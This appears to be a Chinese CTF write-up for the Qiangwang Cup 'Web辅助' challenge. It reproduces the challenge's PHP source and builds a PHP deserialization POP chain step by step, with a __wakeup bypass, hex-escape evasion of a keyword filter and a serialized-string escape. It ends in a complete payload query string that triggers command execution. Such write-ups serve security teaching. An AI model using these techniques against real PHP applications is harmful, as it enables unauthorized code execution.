细说强网杯Web辅助
亲爱的,关注我吧
8/27
文章共计1908个词
包括三段长代码
今天的内容无图,流量不预警
和我一起阅读吧
1
写在前面
这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程
2
题目源码
index.php
获取我们传入的username和password,并将其序列化储存
...
if (isset($_GET['username']) && isset($_GET['password'])){$username = $_GET['username'];$password = $_GET['password'];$player = new player($username, $password);file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{echo "Please input the username or password!\n";
}
...
common.php
这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方
<?php
function read($data){$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);var_dump($data);return $data;
}
function write($data){$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);return $data;
}
function check($data)
{if(stristr($data, 'name')!==False){die("Name Pass\n");}else{return $data;}
}
?>
play.php
在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作
...
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
...
class.php
这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag
<?php
class player{protected $user;protected $pass;protected $admin;public function __construct($user, $pass, $admin = 0){$this->user = $user;$this->pass = $pass;$this->admin = $admin;}public function get_admin(){$this->admin = 1;return $this->admin ;}
}
class topsolo{protected $name;public function __construct($name = 'Riven'){$this->name = $name;}public function TP(){if (gettype($this->name) === "function" or gettype($this->name) === "object"){$name = $this->name;$name();}}public function __destruct(){$this->TP();}
}
class midsolo{protected $name;public function __construct($name){$this->name = $name;}public function __wakeup(){if ($this->name !== 'Yasuo'){$this->name = 'Yasuo';echo "No Yasuo! No Soul!\n";}}public function __invoke(){$this->Gank();}public function Gank(){if (stristr($this->name, 'Yasuo')){echo "Are you orphan?\n";}else{echo "Must Be Yasuo!\n";}}
}
class jungle{protected $name = "";public function __construct($name = "Lee Sin"){$this->name = $name;}public function KS(){system("cat /flag");}public function __toString(){$this->KS(); return ""; }
}
?>
3
涉及考点
POP链的构造
__wakeup的绕过
关键字“name”检测绕过
反序列化字符串逃逸
4
题目出现的魔术方法
__construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此方法
__destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
wakeup:unserialize()会检查是否存在一个 wakeup() 方法。如果存在,则会先调用
invoke:当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
__toString():用于一个类被当成字符串时应怎样回应
5
POP链
POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system('cat /flag')在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来
6
POP链的构造
这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在与midsolo中,invoke()会触发Gank方法,执行了stristr操作。
我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如:
<?php
class test{function __toString(){echo "__toString()";return "";}
}
$a = new test();
echo $a;
//输出:__toString()
在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下:
<?php
class test{function __toString(){echo "__toString()";return "";}
}
$a = new test();
stristr($a,'name');
//输出__toString()
所以整个POP链已经构成了
topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')
即
<?php
class topsolo{protected $name;public function __construct($name = 'Riven'){$this->name = $name;}
}
class midsolo{protected $name;public function __construct($name){$this->name = $name;}
}
class jungle{protected $name = "";
}
$a = new topsolo(new midsolo(new jungle()));
$exp = serialize($a);
var_dump(urlencode($exp));
?>
输出:
O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2
O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
O:7:"topsolo":1:{s:7:"\000*\000name";O:7:"midsolo":2:{s:7:"\000*\000name";O:6:"jungle":1:{s:7:"\000*\000name";s:0:"";}}}
7
关键字“name”检测绕过
···
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");}
else{
return $data;}
}
···
这里使用十六进制绕过\6e\61\6d\65,并将s改为S
O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
8
字符串逃逸
访问index.php,传入数值,得到序列化内容
O:6:"player":3:{s:7:"\0*\0user";s:0:"";s:7:"\0*\0pass";s:126:"O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:0:"";}}}";s:8:"\0*\0admin";i:0;}
可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来
···
function read($data){$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);var_dump($data);
return $data;
}
function write($data){$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
···
在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
在password中补上被吃掉的pass部分,构造password的提交内容
password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
最后提交
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
然后访问play.php即可得到flag
9
实验推荐
PHP反序列化漏洞实验
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
8/27
期待有才能的你给我们投稿
投稿细则请点下方链接
想投稿的小伙伴们点我吧
戳“阅读原文”我们一起进步
细说强网杯Web辅助相关推荐
- 【CTF整理】Who are you (2017强网杯web题)
[CTF整理]Who are you (2017强网杯web题) 别人思路总结: 0x01 初探 打开网页就是一句"Sorry. You have no permissions." ...
- 第二届全国强网杯Web 题three hit学习心得(伪write up)
前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白. 现将学习心得总结如下,说得 ...
- 强网杯Web部分review
0x01 上个月强网杯结束,看了一下Web题目,代码审计及php 反序列化等.本着学习的态度,试着本地复现一下.靶机下载:https://github.com/glzjin/qwb_2019_uplo ...
- 2015广东强网杯web专题
2015广州强网杯 1.万国码 Unicode编码转换 #-*- coding : gbk -*- s=u'\u0066\u006c\u0061\u0067\u007b\u0032\u0035\u00 ...
- 2021强网杯 Web赌徒 WP
文章目录 源代码: 分析 __invoke __get _tostring EXP 调用流程: 总结 源代码: <meta charset="utf-8"> <? ...
- 强网杯2019(高明的黑客强网先锋上单)
强网杯2019(高明的黑客&强网先锋上单) 前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/rea ...
- [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...
- 实战:2019 强网杯 final Web Writeup
前言 强网杯线下赛打的非常happy也非常累,感觉这种赛制非常有意思,早就厌倦了web的AD,这种cms的0/1day的挖掘非常带劲,就是和0ctf连着打,感觉命都没了. 线下赛共有3道web,分别是 ...
- BUUCTF Web [强网杯 2019]随便注
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
最新文章
- CCNA基础知识汇总
- 从零开始发布web项目(五)
- python列表写入字典_python如何将列表中的元素添加进字典
- git 命令详解和Android Studio代码管理工具
- yum更换国内源、yum下载rpm包 源码包安装
- Java 编程题自动评分技术的研究与实现(一)
- go语言编写同时支持Linux和Windows的单文件Web界面文件浏览器filebrowser介绍
- 几个免费下载原版图书的网站
- Status code :200 OK (from disk cache)
- 《开源安全运维平台OSSIM最佳实践》媒体推荐
- 【MQTT从入门到提高系列 | 06】MQTT3.1.1之SUBSCRIBE订阅工作流
- jsp视频播放代码 avi
- 【原创】十年可以做什么?
- SEO及SEM学习参考资源
- 【本地ASP网站】Microsoft OLE DB Provider for ODBC Drivers
- 二十三种设计模式(第十二种)-----代理模式(Proxy)
- (详解)区间DP —— 平行四边形优化
- html 感叹号代码,HTML电子邮件中的感叹号
- 解决SkyP2M工程常见问题所参考的博客汇总
- [Dubbo新闻]--Dubbo正式进入Apache孵化器,开启开源新时代